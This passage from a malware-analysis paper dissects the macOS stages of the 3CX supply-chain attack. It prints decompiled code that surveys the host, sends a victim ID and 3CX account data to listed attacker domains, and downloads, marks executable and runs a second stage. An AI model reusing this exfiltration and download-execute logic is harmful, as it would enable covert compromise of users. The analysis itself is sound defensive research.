% otool -L "3CX Desktop App.app/Contents/MacOS/3CX Desktop App"
...
@rpath/Electron Framework.framework/Electron Framework

Using the macOS file utility, we can see that libffmpeg.dylib is a Mach-O universal binary with two architectures: x86_64 
and arm64:

% file "3CX Desktop App.app/Contents/Frameworks/Electron Framework.framework/Versions/A/
Libraries/libffmpeg.dylib"

libffmpeg.dylib: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit 
dynamically linked shared library x86_64] [arm64]

libffmpeg.dylib:   Mach-O 64-bit dynamically linked shared library x86_64
libffmpeg.dylib:   Mach-O 64-bit dynamically linked shared library arm64

We’ll focus on the Intel (x86_64) slice of the libffmpeg.dylib library, as the Arm Mach-O was not infected. 

The library’s entry point (found at 0x4b180) just invokes a function called run_avcodec. This function performs one 
task: spawning a thread via the pthread_create API. When this is invoked, the first parameter will be found in the RDX 
register, and will contain the start address of the thread’s code. From the disassembly below, we can see that this is set to 
0x48430:

EntryPoint:
0x000000000004b180	 xor	 eax, eax 
0x000000000004b182	 jmp	 run_avcodec 
...

run_avcodec:
0x0000000000048400	 push	 rax 
0x0000000000048401	 movabs	 rax, 0xaaaaaaaaaaaaaaaa
0x000000000004840b	 mov	 rdi, rsp
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0x000000000004840e	 mov	 qword [rdi], rax
0x0000000000048411	 lea	 rdx, qword [0x48430]
0x0000000000048418	 xor 	 esi, esi                                
0x000000000004841a 	 xor	 ecx, ecx
0x000000000004841c	 call	 imp___stubs__pthread_create 
0x0000000000048421	 pop	 rax
0x0000000000048422	 ret

This thread function is where things get interesting. A quick triage shows that it’s rather massive and contains various 
anti-analysis approaches aimed at thwarting static analysis. For example, here is a snippet of decompilation showing an 
obfuscated string being de-XOR’d:

do {
	 *(int8_t *)(rsp + rax + 0x1b40) = *(int8_t *)(rsp + rax + 0x1b40) ^ 0x7a;
	 rax = rax + 0x1;
} while (rax != 0x32);

As it’s trivial to understand the full logic of this function solely via static analysis, let’s leverage dynamic analysis, via the 
trusty debugger. 
Debugging a dynamic library is a bit tricky, as it can’t be executed in a standalone manner. Not to worry, we can whip up a 
simple loader that will load the libffmpeg.dylib library via the dlopen API:

#import <dlfcn.h>
#import <Foundation/Foundation.h>

int main(int argc, const char * argv[]) {

	 //load user-specified libary 
	 void * handle = dlopen(argv[1], RTLD_LOCAL | RTLD_LAZY);

	 dispatch_main();
	 return 0;
}

Once this is compiled (as an x86_64 program, as we want to debug the x86_64 version of libffmpeg.dylib), we launch 
it via the lldb debugger, passing in the library as a command-line argument:

% lldb loader libffmpeg.dylib

(lldb) target create "loader" (x86_64)
(lldb) settings set -- target.run-args libffmpeg.dylib"

Our immediate goal is to dynamically analyse the library’s unnamed thread function, by setting a breakpoint on it and then 
stepping through it. And though we have an offset to the function (0x48430), we first have to wait until the library is 
loaded into memory, and then compute its base address before we can set a breakpoint. Of course, we want to do this all 
before the thread function is executed (which, recall, happens automatically during the loading of the library).
Setting a breakpoint on the pthread_create function allows the debugger to break right before the library’s thread 
function is executed. This is important as we don’t know exactly where the library will be loaded in memory (and thus 
can’t initially set a breakpoint on the address of the thread function). This is because the dynamic library is 
position‑independent, meaning it can be loaded at any virtual address. 

% lldb loader libffmpeg.dylib 
...

(lldb) b pthread_create
(lldb) run

Process 21118 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
	 frame #0: 0x00007ff81c81c445 libsystem_pthread.dylib`pthread_create
libsystem_pthread.dylib`pthread_create:
->  0x7ff81c81c445 <+0>: xorl   %r8d, %r8d

Once the debugger has stopped (at the call to pthread_create) we can use the image list debugger command to find 
the address in memory at which libffmpeg.dylib has been loaded. Here, you can see the dynamic loader, based at 
0x000000010a000000: 
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(lldb) image list
...

[151] 4C4C445F-5555-3144-A1E5-50E749C861FD 0x000000010a000000  libffmpeg.dylib 

Once we have its current load address we can either manually compute the absolute address of the thread function in 
memory (0x10a000000 + 0x48430 = 0x10a048430) or, if we have loaded the library in a disassembler, rebase it there:

Figure 9: We can rebase the library in a disassembler.

Either way, we’ll now have the address of the function (e.g. 0x10a048430), and thus can set a breakpoint via the b 
debugger command. Once this breakpoint has been set, the debugger will halt when the function is invoked. 

(lldb) b 0x10a048430
Breakpoint 2: where = libffmpeg.dylib`___lldb_unnamed_symbol1736 + 144, address = 
0x000000010a048430

(lldb) c

Process 4254 resuming 
Process 4254 stopped
* thread #2, stop reason = breakpoint 2.1
libffmpeg.dylib`___lldb_unnamed_symbol1736:
->  0x10a048430 <+144>: pushq  %rbp

Hooray, we’ve halted the debugger at the start of the thread function …now let’s start stepping through it. We won’t go 
through all its details (as the majority are irrelevant), but instead highlight, well, the highlights.
First, the function de-XORs various strings to build the following path: ~/Library/Application Support/3CX 
Desktop App/.session-lock. The XOR key to decrypt this and other strings is hard-coded, as shown in the following 
snippet of disassembly, to 0x7a:

loop:
00000000000484a4 80B404401B00007A		  xor	 byte [rsp+rax+0x2408+var_8C8], 0x7a 
00000000000484ac 48FFC0			   inc	 rax
00000000000484af 4883F832			   cmp	 rax, 0x32
00000000000484b3 75EF			   jne	 loop

Since the same static XOR key (0x7a) is used, we can create a simple script that de-XORs every byte of the binary:

#!/usr/bin/Python3

key = 0x7a

with open(libffmpeg.dylib, "rb") as in, open("strings.txt", "wb") as out:
	 while True:
		  chunk = in.read(1024)
		  if not chunk:
			   break

		  out.write(bytes(byte ^ key for byte in chunk))

Then, running the output of this script through macOS’s strings utility reveals paths, URLs, and more:

%s/Library/Application Support/3CX Desktop App
3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true
%s/Library/Application Support/3CX Desktop App/%s

officestoragebox.com/api/biosync
visualstudiofactory.com/groupcore
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azuredeploystore.com/cloud/images
msstorageboxes.com/xbox
officeaddons.com/quality
sourceslabs.com/status
zacharryblogs.com/xmlquery
pbxcloudeservices.com/network
pbxphonenetwork.com/phone
akamaitechcloudservices.com/v2/fileapi
azureonlinestorage.com/google/storage
msedgepackageinfo.com/ms-webview
glcloudservice.com/v1/status
pbxsources.com/queue
www.3cx.com/blog/event-trainings/

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/108.0.5359.128 Safari/537.36

OK, back to the .session-lock file. This appears to be created as part of the legitimate functionality of the 3CX 
application that the malicious library attempts to open, as shown in the debugger below. (Note that the RDI register will 
hold the first argument, the file name, passed to the open API). 

Target 0: (dlopen_x64) stopped.

(lldb) x/s 0x3041946f0
0x3041946f0: "%s/Library/Application Support/3CX Desktop App/%s"

...

libffmpeg.dylib`___lldb_unnamed_symbol1736:
->  0x10a0484f5 <+341>: callq  0x10a208858               ; symbol stub for: open

Target 0: (dlopen_x64) stopped.
(lldb) x/s $rdi
0x304193ee0: "/Users/user/Library/Application Support/3CX Desktop App/.session-lock

If we run a file monitor, we can observe this file access
# FileMonitor.app/Contents/MacOS/FileMonitor -filter loader
{
	 "event": "ES_EVENT_TYPE_NOTIFY_OPEN",
	 "file": {
		  "destination": "/Users/user/Library/Application Support/3CX Desktop App/.session-
lock",
		  "process": {
			   "pid": 4254,
			   "name": "loader",
			   ...
		  }
	 }
}

If the .session-lock file is not found, the malicious library will trigger a premature exit. It is surmised, especially as the 
malware doesn’t actually read anything from the file, that this check is intended to ensure that the (remainder of the) malicious 
logic only executes if executed in the context of the 3CX application, as opposed to externally, for example on a malware 
analyst’s machine. As we’re in the latter scenario, we can create a 0-byte .session-lock file to appease the malware.
Assuming the .session-lock file is found, the malicious library continues decrypting and constructing several other 
paths to files (in the same ~/Library/Application Support/3CX Desktop App/ directory), including .main_
storage and UpdateAgent. We’ll see shortly how both these files are utilized. 
Next, the malware performs a simple survey. As part of this survey data it retrieves the operating system version and computer 
name. The former is extracted from the value of the ProductVersion key in macOS’s SystemVersion.plist file: 

# FileMonitor.app/Contents/MacOS/FileMonitor -filter loader
{
		 "event" : "ES_EVENT_TYPE_NOTIFY_OPEN",
		 "file" : {
		 "destination" : "/System/Library/CoreServices/SystemVersion.plist",



MAC-ING SENSE OF THE 3CX SUPPLY CHAIN ATTACK: ANALYSIS OF THE MACOS PAYLOADS  WARDLE

19VIRUS BULLETIN CONFERENCE OCTOBER 2023

		 "process": {
				   "pid": 4254,
				   "name": "loader",
			   ...
		  }
	 }
}

This information is then concatenated together, using ; as a separator token. On an analysis machine (running macOS 13.3) 
we can dump the survey data: ‘13.3;Users-MacBook-Pro.local;6180;14’.
Next, the malware generates a unique identifier (UUID), and then invokes a helper function (found at offset 0x499a0) to 
encrypt the UUID with the same 0x7a XOR key. This is then written out to a file named .main_storage, also in the  
~/Library/Application Support/3CX Desktop App/ directory. 
In a debugger, we can see the helper function at 0x499a0 is passed the file name and generated UUID:

(lldb) x/s $rsi
0x304192fc0: "/Users/user/Library/Application Support/3CX Desktop App/.main_storage"

(lldb) x/s $rdi
0x304192d50: "fcd5e94a-aa69-393f-53e4-5e1057a616f1"

Via a file monitor, we can observe the file create, write and close events: 

{
		 "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
		 "file" : {
			  "destination" : "/Users/user/Library/Application Support/3CX Desktop App/.main_storage",
			  "process": {
					     "pid": 4254,
					     "name": "loader",
					     ...
				    }
			   }
		 }
{
		 "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
		 "file" : {
			  "destination" : "/Users/user/Library/Application Support/3CX Desktop App/.main_storage",
			  "process": {
					     "pid": 4254,
					     "name": "loader",
					     ...
				    }	
			   }
		 }
{
		 "event" : "ES_EVENT_TYPE_NOTIFY_CLOSE",
		 "file" : {
			  "destination" : "/Users/patrick/Library/Application Support/3CX Desktop App/.main_storage",
			  "process": {
					     "pid": 4254,
					     "name": "loader",
					     ...
				    }
			   }
}

Below is the (encrypted) UUID from our analysis machine, written out to the .main_storage file. Note that any NULL 
bytes (0x00), XOR’d with 0x7a, will result in the value 0x7a. 

% hexdump -C ~/Library/Application\ Support/3CX\ Desktop\ App/.main_storage 
00000000  1c 19 1e 4f 1f 43 4e 1b  57 1b 1b 4c 43 57 49 43  |...O.CN.W..LCWIC|
00000010  49 1c 57 4f 49 1f 4e 57  4f 1f 4b 4a 4f 4d 1b 4c  |I.WOI.NWO.KJOM.L|
00000020  4b 4c 1c 4b 7a 7a 7a 7a  7a 7a 7a 7a 7a 7a 7a 7a  |KL.Kzzzzzzzzzzzz|
00000030  05 0c ee 1e 7a 7a 7a 7a                           |....zzzz|
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The malware then builds a URL to query, selecting one of the (hard-coded) domains. For example, we can see below (in 
the debugger), akamaitechcloudservices.com/v2/fileapi was selected:

...
Process 4254 stopped

libffmpeg.dylib`___lldb_unnamed_symbol1736:
->  0x10a04935d <+4029>: callq  *%r14      ;objc_msgSend

(lldb) po $rdi
NSURL

(lldb) x/s $rsi
0x7ff83a9c8bbb: "URLWithString:"

(lldb) po $rdx
https://akamaitechcloudservices.com/v2/fileapi

In the debugger output presented above, we’ve halted on a call objc_msgSend, which is set to invoke NSURL’s 
URLWithString: method. The first argument to objc_msgSend is found in the RDI register and holds the object 
(NSURL). The second argument is in RSI, and is the name of the method (URLWithString:). The third argument, in RDX, 
is the first argument for the method, which here, is the string object that will be used to construct the URL object. 
After setting a hard-coded user-agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/108.0.5359.128 Safari/537.36) the malware adds the generated UUID and 
encrypted host information as a cookie. This is accomplished via the NSMutableURLRequest’s 
addValue:forHTTPHeaderField: method:

Process 4254 stopped

libffmpeg.dylib`___lldb_unnamed_symbol1736:
->  0x10a049555 <+4533>: callq  *%r14   ;objc_msgSend

(lldb) po $rdi
<NSMutableURLRequest: 0x60000000c000> { URL: https://akamaitechcloudservices.com/v2/fileapi 
}

(lldb) x/s $rsi
0x7ff83a9e05d7: "addValue:forHTTPHeaderField:"

(lldb) po $rdx
3cx_auth_id=fcd5e94a-aa69-393f-53e4-5e1057a616f1;3cx_auth_token_content=.
X8uY9vZ9x[8x]?y_7{a&semi>{b9}c:yXE!Y<&c?zgB&dol>hF)iB)jC&plus>kK(lK&per>dN0eF2eG(pL)hR-
jJ6mL-tO-lV5tW4sX7sY&semi>sZ6u[4v];__tutma=true

(lldb) po $rcx
Cookie

The value that is set into the ‘Cookie’ HTTP header uses the hard-coded format string: 3cx_auth_id=%s;3cx_auth_
token_content=%s;__tutma=true. The malware’s UUID is inserted following the 3cx_auth_id=, while the collected 
host information follows the 3cx_auth_token_content=.
Now that the URL request is fully configured, just as was the case with the POOLRAT malware, the malware creates a 
NSURLSession object and from that, generates a NSURLSessionDataTask object (via the 
dataTaskWithRequest:completionHandler: method). Invoking the task’s resume method will trigger its execution, 
meaning the request to the specified URL will be made. 
Unsurprisingly, at this point in time, the malware’s servers are non-responsive: 

Task <2098E753-5401-46BF-93F7-C7D85D3AAF21>.<1> finished with error [-1001] Error 
Domain=NSURLErrorDomain Code=-1001 "The request timed out." 

...  
NSErrorFailingURLStringKey=https://akamaitechcloudservices.com/v2/fileapi, 

…so the malware doesn’t get the HTTP 200 OK it wants, and thus goes off to snooze:

rax = strcmp(var_23F8, "200"); 
...
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//no match?
do {
	 time(rbp);
	 if (0x0 >= r14) {
		  break;
	 }
	 sleep(0xa);
} while (true);

As the malware’s server is unresponsive, our dynamic analysis comes to an end. But that’s OK. Continued static analysis 
shows the malware expects the server to respond with a binary. If it does, it will be saved to a file named UpdateAgent, in 
the ~/Library/Application Support/3CX Desktop App/ directory.
In the annotated decompilation, you can see that once this file is written out, the malware sets it to be executable (via 
chmod), then executes it via the popen API:

//write out file (from server) to "UpdateAgent"
rax = fopen(r13, "wb");
fwrite(var_23F8 + 0x4, 0xfffffffffffffffc, 0x1, rax);
fflush(rax);
fclose(rax);

//make +x 
chmod(r13, 0x1ed);

//add ""> /dev/null"
sprintf(r12, rbp);

//execute it
popen(r12, "r");

The malware will then, after a specified time delay, (re)execute its download and execute logic, likely selecting another one 
of its embedded command-and-control servers. 
In this section of the paper we comprehensively analysed the trojanized 3CX installer, pinpointing its malicious logic found in 
libffmpeg.dylib. We showed that the malicious library is a simple first-stage tool, capable of performing a small survey of 
an infected host and downloading and executing a second-stage payload. Let’s now dig into this secondary payload. 

UPDATEAGENT: THE SECOND-STAGE PAYLOAD
Recall that the trojanized 3CX installer’s main goal is to gain initial execution, to survey the infected host, then download 
and execute a second-stage payload. In this section of the paper, we’ll analyse this binary named UpdateAgent (found in 
~/Library/Application Support/3CX Desktop App). 
Note: It is unclear if the second-stage payload is distributed to every infected host, or only to those the attacker deems of 
interest (perhaps by examining the limited survey data submitted via the first-stage payload). 
The (SHA-256) hash of the UpdateAgent sample we analyse here is: 
6C121F2B2EFA6592C2C22B29218157EC9E63F385E7A1D7425857D603DDEF8C59. 
Unlike the subverted 3CX installer, which was both validly signed and notarized, this binary is only signed with an adhoc 
signature:

% codesign -dvvv UpdateAgent 
Executable=/Users/user/Library/Application Support/3CX Desktop App/UpdateAgent
Identifier=payload2-55554944839216049d683075bc3f5a8628778bb8
CodeDirectory v=20100 size=450 flags=0x2(adhoc) hashes=6+5 location=embedded
...
Signature=adhoc

Using macOS’s file command, we see the UpdateAgent binary is an x86_64 (Intel) Mach-O:

% file UpdateAgent 
UpdateAgent: Mach-O 64-bit executable x86_64

This means that, unless Rosetta is installed, it won’t run on Apple Silicon. (Recall that though libffmpeg.dylib was a 
universal binary containing both arm64 and Intel Mach-O’s, only the Intel version was trojanized).
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Unlike libffmpeg.dylib, it appears that most of the embedded strings are not obfuscated. Thus, if we run macOS’s 
strings utility (with the ‘-’ option, which instructs it to scan the whole file), we find strings that appear to be related to:

•	 Config files
•	 Config parameters
•	 Attacker server (sbmsa[.]wiki)
•	 Method names of networking APIs

% strings -a UpdateAgent 

%s/Library/Application Support/3CX Desktop App/.main_storage
%s/Library/Application Support/3CX Desktop App/config.json

"url": "https://
"AccountName": "

https://sbmsa.wiki/blog/_insert
3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true

URLWithString:
requestWithURL:
addValue:forHTTPHeaderField:
dataTaskWithRequest:completionHandler:

Let’s now look deeper into UpdateAgent, using a disassembler and debugger. Starting at its main function, we see within 
the first few lines of code the malware contains some basic anti-analysis logic: 

•	 Forks itself via fork. This slightly complicates debugging, as forking creates a new process (vs. the parent, we’re 
debugging).

•	 Self-deletes via ulink. This can thwart file-based AV scanners, or simply make it harder to find/grab the binary for 
analysis!

int main(int argc, const char * argv[]) {

	 //child
	 if(fork() == 0) {
		  ...

		  //self delete
		  unlink(argv[0]);

		  //continue
		  ...

	 //parent 
	 else

		  //bye!
		  exit(0);

As noted, when fork executes, a new (child) process is created. We can see that in the above disassembly, the parent will 
then exit …while the child will continue on executing. So, if we’re debugging the parent our debugging session will 
terminate. There are debugger commands that can follow the child, one can also just set a breakpoint on the fork, then skip 
over it altogether (via the register write $pc <address of instruction after fork>).
We also noted that the child process (the parent has exited) will delete its on-disk binary via the unlink API. This is 
readily observable via a file monitor, which captures the ES_EVENT_TYPE_NOTIFY_UNLINK event of the UpdateAgent 
file by the UpdateAgent process:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter UpdateAgent
{
  "event" : "ES_EVENT_TYPE_NOTIFY_UNLINK",
  "file" : {
    "destination" : "/Users/user/Library/Application Support/3CX Desktop App/UpdateAgent",
    ...
    "process" : {
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        "pid" : 38206,
        "name" : "UpdateAgent",
        "path" : "/Users/user/Library/Application Support/3CX Desktop App/UpdateAgent"
    }
  }

}

After self-deleting, the malware (which has not stripped its symbols nor obfuscated its strings) performing the following:
•	 Calls a function called parse_json_config
•	 Calls a function called read_config
•	 Calls a function named enc_text
•	 Builds a string (‘3cx_auth_id=...’ + ?)
•	 Calls a function named send_post, passing in the URI https://sbmsa.wiki/blog/_insert

Let’s explore each of these, starting with the call to the malware’s parse_json_config function.
The parse_json_config function attempts to open a file, config.json (in ~/Library/Application Support/3CX 
Desktop App). If the file is not found, the malware exits – again, perhaps in an attempt to thwart analysis in external 
environments. 
This is a (legitimate) configuration file that is part of 3CX’s application. 
We can observe the malware opening this configuration file in a file monitor:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter UpdateAgent
{
  "event" : "ES_EVENT_TYPE_NOTIFY_OPEN",
  "file" : {
    "destination" : "/Users/user/Library/Application Support/3CX Desktop App/config.json",
    ...
    "process" : {
        "pid" : 38206,
        "name" : "UpdateAgent",
        "path" : "/Users/user/Library/Application Support/3CX Desktop App/UpdateAgent"
    }
  }
}

Once it has opened this file, UpdateAgent looks for values from the keys: url and AccountName, as we can see in the 
annotated disassembly:

int parse_json_config(int arg0) {
    ...

    sprintf(&var_1230, "%s/Library/Application Support/3CX Desktop App/config.json", arg0);
    rax = fopen(&var_1230, "r");

    ...

    fread(&var_1030, rsi, 0x1, r12);
    rax = strstr(&var_1030, "\"url\": \"https://");

    ...
    rax = strstr(&var_1030, "\"AccountName\": \"");

Here’s a snippet from a legitimate 3CX config.json file, showing an example of such values:
{
    "ProvisioningSettings": {
        "url": "https://servicemax.3cx.com/provisioning/<redacted>/<redacted>/<redacted>.xml",
        "file": {
            "Extension": "00",
            ...
            "GCMSENDERID": "",
            "AccountName": "<redacted>",
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From this, we can see the url key appears to contain a link to the xml provisioning file for the VOIP system. On the other 
hand, AccountName is the full name of the account owner.
With the values of url and AccountName extracted from the config.json file, the malware then calls a function named 
read_config.
This opens and then reads in the contents of the .main_storage file. Recall that this file was created by the first-stage 
payload (libffmpeg.dylib) and contains a randomly generated UUID, likely uniquely identifying the victim. The 
read_config function then de-XORs the UUID with the same key that libffmpeg.dylib used to encrypt: 0x7a.

int read_config(int * arg0, void * arg1) {
    ...

    sprintf(&var_230, "%s/Library/Application Support/3CX Desktop App/.main_storage", 
arg0);
    handle = fopen(&var_230, "rb");
    fread(buffer, 0x38, 0x1, rax);
    fclose(handle);

    index = 0x0;
    do {
        *(buffer + index) = *(buffer + index) ^ 0x7a;
        index++;
    } while (index != 0x38);

Once the read_config has returned, the malware concatenates the url and AccountName and then encrypts them via a 
function named enc_text. Next, it combines this encrypted string with the de-XOR’d UUID (from the .main_storage 
file).
These values are combined in the following parameterized string:

3cx_auth_id=UUID;3cx_auth_token_content=encrypted url;account name;__tutma=true

Now the malware is ready to send this information to the attacker’s remote server. This is accomplished via a function the 
malware names send_post. It takes several as parameters including the remote server (API endpoint)  
https://sbmsa.wiki/blog/_insert and the 3cx_auth_id=... string:

enc_text(&input, &output);

sprintf(&paramString, "3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true", &UUID, 
&output);

...

send_post("https://sbmsa.wiki/blog/_insert", &paramString, &var_1064);

The send_post function configures an URL request with a hard-coded user-agent string (Mozilla/5.0 (Windows NT 
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.128 
Safari/537.36) and adds the 3cx_auth_id=... parameter string in the ‘Cookie’ HTTP header. 
Then, via the NSURLSession’s dataTaskWithRequest:completionHandler: method the malware makes the request 
to https://sbmsa.wiki/blog/_insert. 
The approach to building this custom HTTP request and the APIs used is essentially the same as in libffmpeg.dylib. A 
fact that other researchers have noted as well:

‘The dylib and UpdateAgent both create custom URL headers and partially share the same code for doing so.’ [3]
Via a DNS monitor [13], we can observe the attempted DNS resolution of sbmsa.wiki:

% DNSMonitor.app/Contents/MacOS/DNSMonitor -json -pretty
[{
  "Process" : {
    "pid" : 38206,
    "signing ID" : "payload2-55554944839216049d683075bc3f5a8628778bb8",
    "path" : "\/Users\/user\/Library\/Application Support\/3CX Desktop App\/UpdateAgent"
  },
  "Packet" : {
    "Opcode" : "Standard",
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    "QR" : "Query",
    "Questions" : [
      {
        "Question Name" : "sbmsa.wiki",
        "Question Class" : "IN",
        "Question Type" : "?????"
      }
    ],
    "RA" : "No recursion available",
    "Rcode" : "No error",
    "RD" : "Recursion desired",
    "XID" : 25349,
    "TC" : "Non-Truncated",
    "AA" : "Non-Authoritative"
  }
}

Unfortunately (for our continued analysis efforts), as the sbmsa.wiki server is offline, the connection fails.

% nslookup sbmsa.wiki
;; connection timed out; no servers could be reached

Still, we can continue static analysis of the UpdateAgent binary to see what it would do if the attacker’s server were (still) 
online.
However, the answer appears to be, nothing:

int main(int argc, const char * argv[]) {
...

response = send_post("https://sbmsa.wiki/blog/_insert", &paramString, &var_1064);
if (response != 0x0) {
    free(response);
}

return 0; 

As the decompilation shows, once the send_post returns, the response is freed. Then the function, main, returns, meaning 
the process is exiting. This might at first seem a bit strange – wouldn’t we expect the UpdateBinary to do something after 
it has received a response? Usually we see malware treating a response as tasking (and thus then executing some 
attacker‑specified commands) or, as was the case with the first-stage payload, saving and executing the response as a 
next-stage payload.
However, if we take a closer look at UpdateAgent’s URI API endpoint, recall it’s https://sbmsa.wiki/blog/_insert, 
maybe the purpose of UpdateAgent is simply to gather information about its victims, saving (inserting) them into some 
back-end server (found at the _insert endpoint). This would make sense, as supply-chain attacks indiscriminately infect a 
large number of victims, most of whom are of little interest to a nation-state APT group (e.g. Lazarus).

‘That’s up to say, the attacker gets thousands of victims, collects everything they need for future compromises, profiles 
their haul, and decides how to maximize that access.’ [14]

And what if a victim of interest is detected (based on the information collected by either the first or second-stage 
payloads)? Well, as other researcher have well articulated, as the first-stage payload will continually reach out to download 
and execute a second-stage payload, attackers could easily swap out the version of UpdateAgent we analysed and provide 
another (second-stage payload), such as a fully-featured persistent implant:

‘Since the first stage retrieves the second stage every time the trojanized 3CXDesktop App is run by the victim, it is 
entirely possible that a different version of UpdateAgent is delivered to specific targets of interest.’ [3]

CONCLUSIONS
Supply chain attacks are capable of infecting a massive number of unsuspecting users and companies through widely used 
and trusted software. The recent nation-state attack against 3CX, believed to be the first ‘chained’ supply chain attack, 
impacted both Windows and macOS users around the world. 
In this paper we have provided a thorough technical analysis of the three distinct macOS components used in the 3CX 
attack. Starting with the POOLRAT implant, we then analysed the malicious library that was surreptitiously inserted into 
3CX’s macOS installer. Finally, we looked at the payload that the subverted installer would download and execute.
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